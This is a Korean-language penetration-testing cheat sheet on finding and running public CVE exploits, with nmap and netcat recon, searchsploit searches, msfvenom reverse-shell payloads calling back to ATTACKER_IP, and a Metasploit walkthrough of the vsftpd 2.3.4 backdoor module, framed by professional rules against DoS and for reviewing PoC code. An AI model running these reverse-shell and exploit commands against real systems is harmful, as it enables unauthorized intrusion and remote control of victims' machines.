Public Exploits (공개 익스플로잇) 취약점 진단
Overview
Public Exploits: 알려진 취약점(CVE)에 대해 공개된 개념증명(PoC) 및 익스플로잇 코드. 오래된 시스템이나 패치가 적용되지 않은 대상 시스템을 진단할 때 효과적으로 사용됨.
- 주의사항: (현업 화이트해커 필수 원칙)
- 타겟 가용성을 해치는 공격(DoS, 서비스 다운을 유발할 수 있는 불안정한 Buffer Overflow 등)은 절대 금지
- 공격 전후 상태를 동일하게 유지 (모든 생성 파일 삭제 및 문서화)
1. Reconnaissance (취약점 정보 수집)
서비스 버전 및 정보 스캔
익스플로잇 검색의 기준이 되는 정확한 서비스 및 버전 정보 획득
# Nmap 상세 서비스 스캔
nmap -sV -p <PORT> <TARGET_IP>
# 직접 배너 그래빙
nc -nv <TARGET_IP> <PORT>
CVE 및 취약점 데이터베이스 검색
검색 예시: Apache 2.4.49 CVE, vsftpd 2.3.4 vulnerabilities
2. Exploitation (익스플로잇 검색 및 실행)
Searchsploit 활용 (Kali Linux 내장)
Exploit-DB 오프라인 데이터베이스를 활용한 익스플로잇 검색
# 기본 검색
searchsploit <SERVICE> <VERSION>
searchsploit apache 2.4.49
# 대소문자 무시 검색
searchsploit -i apache
# 상세 정보 확인
searchsploit -x <EXPLOIT_ID>
# 현재 경로로 익스플로잇 복사
searchsploit -m <EXPLOIT_ID>
페이로드(Payload) 준비
msfvenom을 사용하여 대상 시스템 아키텍처에 맞는 리버스 쉘 생성
# [Linux] ELF 형식 리버스 쉘
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f elf -o shell.elf
# [Windows] EXE 형식 리버스 쉘
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f exe -o shell.exe
# Base64 인코딩을 통한 전송 준비 (파일 전송이 어려울 때)
cat shell.elf | base64 -w 0 > shell.b64
익스플로잇 수정 및 실행
다운로드한 익스플로잇(파이썬 등)의 IP, 포트, 페이로드를 수정 후 실행
# 1. 공격자 환경 리스너 실행
nc -lvnp 4444
# 2. 익스플로잇 스크립트 실행
python3 exploit.py <TARGET_IP>
Metasploit Framework 활용
자동화된 익스플로잇 모듈 사용 (가용성 저하 모듈 주의)
msfconsole
msf> search <SERVICE>
msf> use exploit/unix/ftp/vsftpd_234_backdoor
msf> set RHOST <TARGET_IP>
msf> set LHOST <ATTACKER_IP>
msf> exploit
3. Advanced Techniques (현업 실무 가이드)
익스플로잇 종류별 사용 가이드 (가용성 최우선)
| 공격 종류 | 권장 여부 | 실무 유의사항 |
|---|---|---|
| Information Disclosure | 사용 | 패스워드, 설정 파일 등 정보 유출 |
| Authentication Bypass | 사용 | 인증 우회를 통한 관리자 권한 획득 |
| Remote Code Execution (RCE) | 사용 | 웹 쉘 또는 리버스 쉘 획득 목적으로 신중히 사용 |
| Buffer Overflow (BoF) | 금지/주의 | 메모리 손상으로 인한 서비스 중단(BSOD/Crash) 위험이 매우 높으므로 현업 진단 시 사용 금지 |
| Denial of Service (DoS) | 절대 금지 | 대상의 가용성을 직접적으로 파괴하므로 사용 금지 |
익스플로잇 코드 검증 (안전성 확보)
GitHub 등에서 다운로드한 PoC 코드는 반드시 내용을 읽고 악의적 행위나 DoS 코드가 없는지 확인해야 함.
- 타겟 지정 로직 확인: 의도치 않은 서브넷 전체 공격 방지
- 명령어 실행 로직 확인:
rm -rf, 과도한 메모리 할당(Crash 유발) 등 위험 요소 체크 - 가상 환경 테스트: 가능하다면 동일한 버전의 가상 서버를 구성하여 사전 테스트 후 고객사에 적용